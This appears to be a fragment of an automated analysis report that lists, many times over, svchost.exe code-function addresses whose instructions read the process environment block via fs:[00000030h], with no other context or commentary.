Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov eax, dword ptr fs:[00000030h]	2_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov ecx, dword ptr fs:[00000030h]	2_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE3DB mov eax, dword ptr fs:[00000030h]	2_2_034DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D43D4 mov eax, dword ptr fs:[00000030h]	2_2_034D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D43D4 mov eax, dword ptr fs:[00000030h]	2_2_034D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034403E9 mov eax, dword ptr fs:[00000030h]	2_2_034403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034663FF mov eax, dword ptr fs:[00000030h]	2_2_034663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]	2_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]	2_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342E388 mov eax, dword ptr fs:[00000030h]	2_2_0342E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345438F mov eax, dword ptr fs:[00000030h]	2_2_0345438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345438F mov eax, dword ptr fs:[00000030h]	2_2_0345438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]	2_2_03428397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]	2_2_03428397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03428397 mov eax, dword ptr fs:[00000030h]	2_2_03428397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B8243 mov eax, dword ptr fs:[00000030h]	2_2_034B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B8243 mov ecx, dword ptr fs:[00000030h]	2_2_034B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A250 mov eax, dword ptr fs:[00000030h]	2_2_0342A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436259 mov eax, dword ptr fs:[00000030h]	2_2_03436259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EA250 mov eax, dword ptr fs:[00000030h]	2_2_034EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EA250 mov eax, dword ptr fs:[00000030h]	2_2_034EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]	2_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]	2_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434260 mov eax, dword ptr fs:[00000030h]	2_2_03434260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342826B mov eax, dword ptr fs:[00000030h]	2_2_0342826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274 mov eax, dword ptr fs:[00000030h]	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342823B mov eax, dword ptr fs:[00000030h]	2_2_0342823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0343A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]	2_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]	2_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402E1 mov eax, dword ptr fs:[00000030h]	2_2_034402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E284 mov eax, dword ptr fs:[00000030h]	2_2_0346E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E284 mov eax, dword ptr fs:[00000030h]	2_2_0346E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]	2_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]	2_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B0283 mov eax, dword ptr fs:[00000030h]	2_2_034B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402A0 mov eax, dword ptr fs:[00000030h]	2_2_034402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034402A0 mov eax, dword ptr fs:[00000030h]	2_2_034402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C62A0 mov eax, dword ptr fs:[00000030h]	2_2_034C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov ecx, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C4144 mov eax, dword ptr fs:[00000030h]	2_2_034C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C156 mov eax, dword ptr fs:[00000030h]	2_2_0342C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C8158 mov eax, dword ptr fs:[00000030h]	2_2_034C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436154 mov eax, dword ptr fs:[00000030h]	2_2_03436154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03436154 mov eax, dword ptr fs:[00000030h]	2_2_03436154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov eax, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DE10E mov ecx, dword ptr fs:[00000030h]	2_2_034DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov ecx, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118 mov eax, dword ptr fs:[00000030h]	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F0115 mov eax, dword ptr fs:[00000030h]	2_2_034F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460124 mov eax, dword ptr fs:[00000030h]	2_2_03460124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F61C3 mov eax, dword ptr fs:[00000030h]	2_2_034F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F61C3 mov eax, dword ptr fs:[00000030h]	2_2_034F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_034AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035061E5 mov eax, dword ptr fs:[00000030h]	2_2_035061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034601F8 mov eax, dword ptr fs:[00000030h]	2_2_034601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03470185 mov eax, dword ptr fs:[00000030h]	2_2_03470185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EC188 mov eax, dword ptr fs:[00000030h]	2_2_034EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EC188 mov eax, dword ptr fs:[00000030h]	2_2_034EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4180 mov eax, dword ptr fs:[00000030h]	2_2_034D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D4180 mov eax, dword ptr fs:[00000030h]	2_2_034D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B019F mov eax, dword ptr fs:[00000030h]	2_2_034B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]	2_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]	2_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A197 mov eax, dword ptr fs:[00000030h]	2_2_0342A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432050 mov eax, dword ptr fs:[00000030h]	2_2_03432050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B6050 mov eax, dword ptr fs:[00000030h]	2_2_034B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345C073 mov eax, dword ptr fs:[00000030h]	2_2_0345C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4000 mov ecx, dword ptr fs:[00000030h]	2_2_034B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000 mov eax, dword ptr fs:[00000030h]	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E016 mov eax, dword ptr fs:[00000030h]	2_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A020 mov eax, dword ptr fs:[00000030h]	2_2_0342A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C020 mov eax, dword ptr fs:[00000030h]	2_2_0342C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6030 mov eax, dword ptr fs:[00000030h]	2_2_034C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B20DE mov eax, dword ptr fs:[00000030h]	2_2_034B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0342A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034380E9 mov eax, dword ptr fs:[00000030h]	2_2_034380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B60E0 mov eax, dword ptr fs:[00000030h]	2_2_034B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0342C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034720F0 mov ecx, dword ptr fs:[00000030h]	2_2_034720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343208A mov eax, dword ptr fs:[00000030h]	2_2_0343208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C80A8 mov eax, dword ptr fs:[00000030h]	2_2_034C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F60B8 mov eax, dword ptr fs:[00000030h]	2_2_034F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_034F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346674D mov esi, dword ptr fs:[00000030h]	2_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346674D mov eax, dword ptr fs:[00000030h]	2_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346674D mov eax, dword ptr fs:[00000030h]	2_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430750 mov eax, dword ptr fs:[00000030h]	2_2_03430750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE75D mov eax, dword ptr fs:[00000030h]	2_2_034BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472750 mov eax, dword ptr fs:[00000030h]	2_2_03472750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472750 mov eax, dword ptr fs:[00000030h]	2_2_03472750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4755 mov eax, dword ptr fs:[00000030h]	2_2_034B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438770 mov eax, dword ptr fs:[00000030h]	2_2_03438770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770 mov eax, dword ptr fs:[00000030h]	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C700 mov eax, dword ptr fs:[00000030h]	2_2_0346C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430710 mov eax, dword ptr fs:[00000030h]	2_2_03430710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460710 mov eax, dword ptr fs:[00000030h]	2_2_03460710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C720 mov eax, dword ptr fs:[00000030h]	2_2_0346C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C720 mov eax, dword ptr fs:[00000030h]	2_2_0346C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346273C mov eax, dword ptr fs:[00000030h]	2_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346273C mov ecx, dword ptr fs:[00000030h]	2_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346273C mov eax, dword ptr fs:[00000030h]	2_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AC730 mov eax, dword ptr fs:[00000030h]	2_2_034AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0343C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B07C3 mov eax, dword ptr fs:[00000030h]	2_2_034B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]	2_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]	2_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034527ED mov eax, dword ptr fs:[00000030h]	2_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_034BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034347FB mov eax, dword ptr fs:[00000030h]	2_2_034347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034347FB mov eax, dword ptr fs:[00000030h]	2_2_034347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D678E mov eax, dword ptr fs:[00000030h]	2_2_034D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034307AF mov eax, dword ptr fs:[00000030h]	2_2_034307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E47A0 mov eax, dword ptr fs:[00000030h]	2_2_034E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344C640 mov eax, dword ptr fs:[00000030h]	2_2_0344C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F866E mov eax, dword ptr fs:[00000030h]	2_2_034F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F866E mov eax, dword ptr fs:[00000030h]	2_2_034F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A660 mov eax, dword ptr fs:[00000030h]	2_2_0346A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A660 mov eax, dword ptr fs:[00000030h]	2_2_0346A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03462674 mov eax, dword ptr fs:[00000030h]	2_2_03462674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE609 mov eax, dword ptr fs:[00000030h]	2_2_034AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344260B mov eax, dword ptr fs:[00000030h]	2_2_0344260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472619 mov eax, dword ptr fs:[00000030h]	2_2_03472619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E627 mov eax, dword ptr fs:[00000030h]	2_2_0344E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03466620 mov eax, dword ptr fs:[00000030h]	2_2_03466620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03468620 mov eax, dword ptr fs:[00000030h]	2_2_03468620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343262C mov eax, dword ptr fs:[00000030h]	2_2_0343262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0346A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0346A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B06F1 mov eax, dword ptr fs:[00000030h]	2_2_034B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B06F1 mov eax, dword ptr fs:[00000030h]	2_2_034B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434690 mov eax, dword ptr fs:[00000030h]	2_2_03434690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03434690 mov eax, dword ptr fs:[00000030h]	2_2_03434690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0346C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034666B0 mov eax, dword ptr fs:[00000030h]	2_2_034666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438550 mov eax, dword ptr fs:[00000030h]	2_2_03438550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03438550 mov eax, dword ptr fs:[00000030h]	2_2_03438550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346656A mov eax, dword ptr fs:[00000030h]	2_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346656A mov eax, dword ptr fs:[00000030h]	2_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346656A mov eax, dword ptr fs:[00000030h]	2_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C6500 mov eax, dword ptr fs:[00000030h]	2_2_034C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03504500 mov eax, dword ptr fs:[00000030h]	2_2_03504500
